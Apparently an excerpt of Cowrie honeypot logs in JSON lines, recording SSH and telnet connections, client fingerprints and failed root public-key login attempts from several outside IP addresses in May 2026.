{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:8f:af:ed:3b:76:64:b0:b7:5e:c8:fe:c1:d5:db:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKFcmtOxv9ltvQT+Qq1dTLhZXxeCWchoO64/Q9fzublPH7tPvXSqqPvKXtgBVdGJuifP4XlW8Rolm2uxVMy4ACfyrW2rvBMBddJBHUewO8ixir9ZetG0TdFP/84ohl28J4KNH+pqyzWZFLG9/SZRxA+y9ZrvPKOhYv+ogS4Wxr7UzzaFGY9ykeNKElznTsXG1YD+EE5R/YpT954fFdj0t16HOZ9lsK0E1F+SQgEzGpbZ/K6BSYq0yNxT/t5Q95AMMznUzCUdJca9lL+1MwxdRp5sKv6sZdu43e6BiwqLV1ghELtyH3Rrj6GC/jMHE2JQk9cSZ1+wr1IUEEj7YdGrhP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:8f:af:ed:3b:76:64:b0:b7:5e:c8:fe:c1:d5:db:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.106356Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:8f:af:ed:3b:76:64:b0:b7:5e:c8:fe:c1:d5:db:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKFcmtOxv9ltvQT+Qq1dTLhZXxeCWchoO64/Q9fzublPH7tPvXSqqPvKXtgBVdGJuifP4XlW8Rolm2uxVMy4ACfyrW2rvBMBddJBHUewO8ixir9ZetG0TdFP/84ohl28J4KNH+pqyzWZFLG9/SZRxA+y9ZrvPKOhYv+ogS4Wxr7UzzaFGY9ykeNKElznTsXG1YD+EE5R/YpT954fFdj0t16HOZ9lsK0E1F+SQgEzGpbZ/K6BSYq0yNxT/t5Q95AMMznUzCUdJca9lL+1MwxdRp5sKv6sZdu43e6BiwqLV1ghELtyH3Rrj6GC/jMHE2JQk9cSZ1+wr1IUEEj7YdGrhP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.109729Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:5c:8e:7a:5d:3e:94:b8:77:c9:ed:03:d9:a7:b6:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdD5PRKly9c0w3wau9/8O77cZkS7MPjF1OOnnrx5Y7jgE5i3Ls/Mi85EMm69obdqXcBwiWMmKDN3uH4zXoJ5KWCZYj5nQloNOv2q0qFjtmFPVgCkadGtoGu60B5bU1DmB1Bxd57amzjpIEjMYVrf+8eM4uGu8l53fQp9rLj4Mw2sKbRxpkrUk/J0BoShngjFrSRj2c2dV29zKc7XFUGtdck7d32s5ZgJcwxnsjk4FtCFbug19YvQTnwnbmRL0XQniZr/xjQKZMoZjodMB+KqqmJgeaoGZX+K2UG5NA1eSKhqlAKgU/F2I/rxRKw8H+fkOFtzH4em2s13Gy/vtV/UzJPSG1WwmUg23ZMqsUtL30sbY4I12mxOwx7F427k+1SChsPsgDUV2P7Q8sHeJfL5THc7p6ZG9wgze9xP1TCjwuHXOSmHJzMC/QgqCHn8q5fN2FNALCY2xg1L52V3fL7cCE020secE2+rtHuIrFF8u1u+YbyWIZiylwJfesAs5EWzc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:5c:8e:7a:5d:3e:94:b8:77:c9:ed:03:d9:a7:b6:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.208439Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:5c:8e:7a:5d:3e:94:b8:77:c9:ed:03:d9:a7:b6:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdD5PRKly9c0w3wau9/8O77cZkS7MPjF1OOnnrx5Y7jgE5i3Ls/Mi85EMm69obdqXcBwiWMmKDN3uH4zXoJ5KWCZYj5nQloNOv2q0qFjtmFPVgCkadGtoGu60B5bU1DmB1Bxd57amzjpIEjMYVrf+8eM4uGu8l53fQp9rLj4Mw2sKbRxpkrUk/J0BoShngjFrSRj2c2dV29zKc7XFUGtdck7d32s5ZgJcwxnsjk4FtCFbug19YvQTnwnbmRL0XQniZr/xjQKZMoZjodMB+KqqmJgeaoGZX+K2UG5NA1eSKhqlAKgU/F2I/rxRKw8H+fkOFtzH4em2s13Gy/vtV/UzJPSG1WwmUg23ZMqsUtL30sbY4I12mxOwx7F427k+1SChsPsgDUV2P7Q8sHeJfL5THc7p6ZG9wgze9xP1TCjwuHXOSmHJzMC/QgqCHn8q5fN2FNALCY2xg1L52V3fL7cCE020secE2+rtHuIrFF8u1u+YbyWIZiylwJfesAs5EWzc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.212215Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:6f:e8:e5:16:b8:95:7c:7e:0c:6e:4a:81:22:a5:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6yt1bvTliMUOaMDLATQ6gaNpKtzXo9qoBI6eYAYvUQ4kTXIRt2qojL3VRVWNt0e4U9kVr/Z+49liUtfaAINbeZYbMMP/0S/gfUMP/ElxSx8PKy8923yjv//JTKOSXWMjMXJvvrFRcjbnlymcOLpRYvtHWm5EBThASBf1HYjh+scziyjuTFDClkDhbW/W+a7t6JKswS3Re0Y/vlTXszaTU8wNUqzyHUQCaxk3D6HYNE45mtkMSP37HzaRfiz2PFpOAQBWE5AK3Of933erkELL9v82CUnEUUI3LZg4CUcrnuua2bl+nbLCnOcVlzkvfzRhWPgwXi4oT9jJqObp6gXhwD9DnUMSYHr1Rn3/f9SKIqQK1xlEbA0phmXN6oP+PJERxnviKWYCcdZ3FbfgPwAI3I09C1IIRfJKhE/fWUYxLBd1U9KVdTV7YPFkK0QZV+aS/qyRwoVNxjX3aDcXlg2wQW7yxFDZAPhMTv78IZ9x3/0+wB8m3WLNelbyn/SuJtgcnBq82lo2PWmKMGVyLp8bivr92RRN/JGoVzQLbNO9H7QJX4p45572WeWiX3vE6tpiuX0/gEEJbJ7pdMoTD/T1swVtAu4PywWmL2VffWZ8Duc2sR784Nibecrfq8IEOr+kLeJIqoQz/EyeGZB6ty7uwcAaGguPV5wbrWNpQPNletw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:6f:e8:e5:16:b8:95:7c:7e:0c:6e:4a:81:22:a5:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.310480Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:6f:e8:e5:16:b8:95:7c:7e:0c:6e:4a:81:22:a5:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6yt1bvTliMUOaMDLATQ6gaNpKtzXo9qoBI6eYAYvUQ4kTXIRt2qojL3VRVWNt0e4U9kVr/Z+49liUtfaAINbeZYbMMP/0S/gfUMP/ElxSx8PKy8923yjv//JTKOSXWMjMXJvvrFRcjbnlymcOLpRYvtHWm5EBThASBf1HYjh+scziyjuTFDClkDhbW/W+a7t6JKswS3Re0Y/vlTXszaTU8wNUqzyHUQCaxk3D6HYNE45mtkMSP37HzaRfiz2PFpOAQBWE5AK3Of933erkELL9v82CUnEUUI3LZg4CUcrnuua2bl+nbLCnOcVlzkvfzRhWPgwXi4oT9jJqObp6gXhwD9DnUMSYHr1Rn3/f9SKIqQK1xlEbA0phmXN6oP+PJERxnviKWYCcdZ3FbfgPwAI3I09C1IIRfJKhE/fWUYxLBd1U9KVdTV7YPFkK0QZV+aS/qyRwoVNxjX3aDcXlg2wQW7yxFDZAPhMTv78IZ9x3/0+wB8m3WLNelbyn/SuJtgcnBq82lo2PWmKMGVyLp8bivr92RRN/JGoVzQLbNO9H7QJX4p45572WeWiX3vE6tpiuX0/gEEJbJ7pdMoTD/T1swVtAu4PywWmL2VffWZ8Duc2sR784Nibecrfq8IEOr+kLeJIqoQz/EyeGZB6ty7uwcAaGguPV5wbrWNpQPNletw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.315295Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:b6:f7:a1:cf:c9:7a:70:e1:22:7c:64:e8:9c:75:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ad1wCZaodL0msIMC1wssqgzUCOsa3jUdZ3XR7BfNsYqOCPsz4HdC4Ijamd9aS6g5hu7TdtR9hvw1gEX5z7E1zfSdTuHFs/P+qP4NRCxw+JIgMFGbPxtGcfan67rUHLnZ8+ghUKWAIiSZSiaQUzhS+mEpMgyPnfI39EV5RjjArN3Ncvzsz5miV6pKo9Tmy11LI/JOvTluyCcuFAKXfp9MhOl45JIsChM2IOv14RxUBsBSfIxUKYlGuz9PW8k5gAU1mVcpDRGVRobnSEbZpwFbr0Zklel0Q+jIW72bUkZ88Qv0uIECpY1lrLAuM4+s7y6EypKeuCR28x7Ig09ofRCb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:b6:f7:a1:cf:c9:7a:70:e1:22:7c:64:e8:9c:75:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.417822Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:b6:f7:a1:cf:c9:7a:70:e1:22:7c:64:e8:9c:75:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ad1wCZaodL0msIMC1wssqgzUCOsa3jUdZ3XR7BfNsYqOCPsz4HdC4Ijamd9aS6g5hu7TdtR9hvw1gEX5z7E1zfSdTuHFs/P+qP4NRCxw+JIgMFGbPxtGcfan67rUHLnZ8+ghUKWAIiSZSiaQUzhS+mEpMgyPnfI39EV5RjjArN3Ncvzsz5miV6pKo9Tmy11LI/JOvTluyCcuFAKXfp9MhOl45JIsChM2IOv14RxUBsBSfIxUKYlGuz9PW8k5gAU1mVcpDRGVRobnSEbZpwFbr0Zklel0Q+jIW72bUkZ88Qv0uIECpY1lrLAuM4+s7y6EypKeuCR28x7Ig09ofRCb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.421741Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:a6:49:e5:e9:e1:d5:a4:25:e3:e5:1f:d3:4e:fb:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPQIrBepKARQUnqNr3BfVFlkg611c3K2CncssvJuq+cYUVYemwaQ0UzWH3odGwHLSoH8FLyOjM/Mh5fPRFNwl3+AXcOLocF0zapI8TlNjuLYgt21YW9ol3AkvMTgB4tN/p/xPz9/Zja3VN08sLMuICtitCiWGLOACGgfTKwFbJkpSEuHcYBjXqQvoOYPX848BegNVhqiSWqplqKwRO4KpuBDmUTtVSMLQIjKcJLzCxaummKdYtjmEJlozorGP3PWyiodaX+K/wZ7FNAkWlW8h/82LQRKPlPszXCa6hjQx77h7WLaDh51ADUqMS54mAOVZfqWHVMiTjUEN/IN2oKlS9TUqFlOfKUQaC9GzUcghM6N4hnnH03zuKp4e4weV151K/Gm3aOqA8N7jLFHpYtW75szQJi8l7eAGY2YvZZXA4dPgzI9lidDJXNvW2Z07CVWADj+ti6mqGBE6O0tJdz4h3Ezqn7lCj/y0Ip0jhM1zWdPAJdxEByaySdSJ1JAlr4JM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:a6:49:e5:e9:e1:d5:a4:25:e3:e5:1f:d3:4e:fb:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.522257Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:a6:49:e5:e9:e1:d5:a4:25:e3:e5:1f:d3:4e:fb:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPQIrBepKARQUnqNr3BfVFlkg611c3K2CncssvJuq+cYUVYemwaQ0UzWH3odGwHLSoH8FLyOjM/Mh5fPRFNwl3+AXcOLocF0zapI8TlNjuLYgt21YW9ol3AkvMTgB4tN/p/xPz9/Zja3VN08sLMuICtitCiWGLOACGgfTKwFbJkpSEuHcYBjXqQvoOYPX848BegNVhqiSWqplqKwRO4KpuBDmUTtVSMLQIjKcJLzCxaummKdYtjmEJlozorGP3PWyiodaX+K/wZ7FNAkWlW8h/82LQRKPlPszXCa6hjQx77h7WLaDh51ADUqMS54mAOVZfqWHVMiTjUEN/IN2oKlS9TUqFlOfKUQaC9GzUcghM6N4hnnH03zuKp4e4weV151K/Gm3aOqA8N7jLFHpYtW75szQJi8l7eAGY2YvZZXA4dPgzI9lidDJXNvW2Z07CVWADj+ti6mqGBE6O0tJdz4h3Ezqn7lCj/y0Ip0jhM1zWdPAJdxEByaySdSJ1JAlr4JM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.526159Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:42.631541Z","src_ip":"88.99.193.143","session":"610c9493c685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":53748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7816c4cd617","protocol":"telnet","message":"New connection: 167.71.238.254:53748 (10.17.0.5:23) [session: b7816c4cd617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:21:57.757401Z"}
{"eventid":"cowrie.session.closed","duration":120.00125360488892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:09.960845Z","src_ip":"89.243.29.180","session":"cb94883a4054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40388,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1eefcebe54d","protocol":"ssh","message":"New connection: 194.59.206.2:40388 (159.203.135.109:22) [session: a1eefcebe54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:16.446659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:16.459016Z","src_ip":"194.59.206.2","session":"a1eefcebe54d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:16.560114Z","src_ip":"194.59.206.2","session":"a1eefcebe54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:16.695920Z","src_ip":"194.59.206.2","session":"a1eefcebe54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.244.197.205","src_port":56804,"dst_ip":"10.17.0.5","dst_port":22,"session":"7077232fd966","protocol":"ssh","message":"New connection: 91.244.197.205:56804 (10.17.0.5:22) [session: 7077232fd966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:17.620780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:17.626305Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:17.732552Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:22:27:e7:96:e3:45:d9:b7:eb:04:57:df:64:b7:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRqEhiCU05hScu2FqlpzPLXgkTeUKXTpxam9j7fSkz2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 76:22:27:e7:96:e3:45:d9:b7:eb:04:57:df:64:b7:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.240140Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:22:27:e7:96:e3:45:d9:b7:eb:04:57:df:64:b7:d7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRqEhiCU05hScu2FqlpzPLXgkTeUKXTpxam9j7fSkz2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.244719Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:e0:b8:25:1e:2f:35:b0:1e:e8:ed:be:68:55:c8:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlTpze/0/qGxE9wGB9pXHlHJa/JNQMZVx6TGs+BiK5vddNAS6Hn6oF57+zCg6foHsGcnppkT+v2GGHKb6gJPBCqaXGhhnreLM5PMtXDwbh/NZD3yhRBTLIZzNH5vnPBTucqSB34ngXY4qmU/PLdG9mfcZVWAdXnjxvm9el0IF7oDK+F/0pzWWJiQBmEEgPvnCzh/MwL0tyrfWNHzHB0a5IpmjYN/hl89hA3/hD6f4tx/33g3eT4PHfzstlxQYND5agL/zts7nnLn6y5THa/cwS5a2W7Mzcn02wRhj/KKcF7GqxUm33VQi6JYcmjj8LXZpt7iPbe7inL4F0gP/1omvI+TIXQUYhElgddI+gzx8pgeQKrDXhTP9rgXqR1AG/MaZDm3Cp7BDIV6Yly9dkkUX8HaiPXvTZHFt3r/KCX8IhIlegYNlHH+B/6u2+hya+oC+bDZXwFBuYRXtcBcNvwvjt9cGffQAtjvHjHHl+mWmniitphXHT70nsqf3370/+0j0fbihhCyeu56CwXofl+dtCcEVNhYj6ErhH5OLw1oxMf2MRfiRVxpnwios/DRFuAPUhDwNUqMZgXosKQchL4zKYSTob+0/phXuJ8VvOylQGpc4kix0pPpA/+KXkBC391jgoPDz0ALgBztNv8Hy9wHCX2B+JVe5cGIGil+j7AdheYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:e0:b8:25:1e:2f:35:b0:1e:e8:ed:be:68:55:c8:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.351376Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:e0:b8:25:1e:2f:35:b0:1e:e8:ed:be:68:55:c8:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlTpze/0/qGxE9wGB9pXHlHJa/JNQMZVx6TGs+BiK5vddNAS6Hn6oF57+zCg6foHsGcnppkT+v2GGHKb6gJPBCqaXGhhnreLM5PMtXDwbh/NZD3yhRBTLIZzNH5vnPBTucqSB34ngXY4qmU/PLdG9mfcZVWAdXnjxvm9el0IF7oDK+F/0pzWWJiQBmEEgPvnCzh/MwL0tyrfWNHzHB0a5IpmjYN/hl89hA3/hD6f4tx/33g3eT4PHfzstlxQYND5agL/zts7nnLn6y5THa/cwS5a2W7Mzcn02wRhj/KKcF7GqxUm33VQi6JYcmjj8LXZpt7iPbe7inL4F0gP/1omvI+TIXQUYhElgddI+gzx8pgeQKrDXhTP9rgXqR1AG/MaZDm3Cp7BDIV6Yly9dkkUX8HaiPXvTZHFt3r/KCX8IhIlegYNlHH+B/6u2+hya+oC+bDZXwFBuYRXtcBcNvwvjt9cGffQAtjvHjHHl+mWmniitphXHT70nsqf3370/+0j0fbihhCyeu56CwXofl+dtCcEVNhYj6ErhH5OLw1oxMf2MRfiRVxpnwios/DRFuAPUhDwNUqMZgXosKQchL4zKYSTob+0/phXuJ8VvOylQGpc4kix0pPpA/+KXkBC391jgoPDz0ALgBztNv8Hy9wHCX2B+JVe5cGIGil+j7AdheYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.355253Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:f1:9e:a9:ca:50:df:ac:a0:cf:de:92:30:3d:d7:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5TtehpuP99hInfetKpyStpBnWUMiuwPRYmf9GhEABUHLm1ugmXxfCm403pm6pTJ3fZUEfyKmSu6zUySxr/uq6fa6j2RwJN2EuzfIgIwKmt/1/DRQrrx5qd/pYwaNsaOdBgvFZOoa3ORuA4NWf2Kf32Hbwz9P3MAk4ByRLIZvOqh9fkYqmPOUhgZr9t/RrEUuUWL0TwTiIqzr4irfJLQ2i2AxeYndHsvSfge0+Yps11yV5UFQ12WRerudnBOyQk+/yzw3vC+Xz+4ogFC7mGqSbV5WCagywuZW2ai42MfpC3oy/EK3KGbT0ONci0Tcx1jRCPW/DIWuhYq0TDVZDk3h86NoNy+V1oBH7nXzb670OPpc86IhzB+5n3asHKN1VySlDxREgLU8diSKJmb1ajqVsSklkhpiujMVRUdGgUT2e98wpacs9uvbj7rSyjgAIaLQPOv7HVeoWSEi9gJJAGwI8NZPvvcAvJzeETsGrsXs7Nyr7q5rmAo8Xa+yfiI4Fq81ZZQ0+Ml9apABcQJQAlBWm3RpBJi7yih/VotX2BjZKfPztyNj2t/plcJJEsVdEti8gGAIsfR2l3QKNYydNN7zYcHAqygwD8BK363FNEm2cuF/x3wd6VODgh042v2nHkBsGHd6wI5+5M7HTCzxfu1L5tudHv4ZY21SC4b0h1d7L1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:f1:9e:a9:ca:50:df:ac:a0:cf:de:92:30:3d:d7:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:22:18.463091Z","src_ip":"91.244.197.205","session":"7077232fd966","protocol":"ssh"}
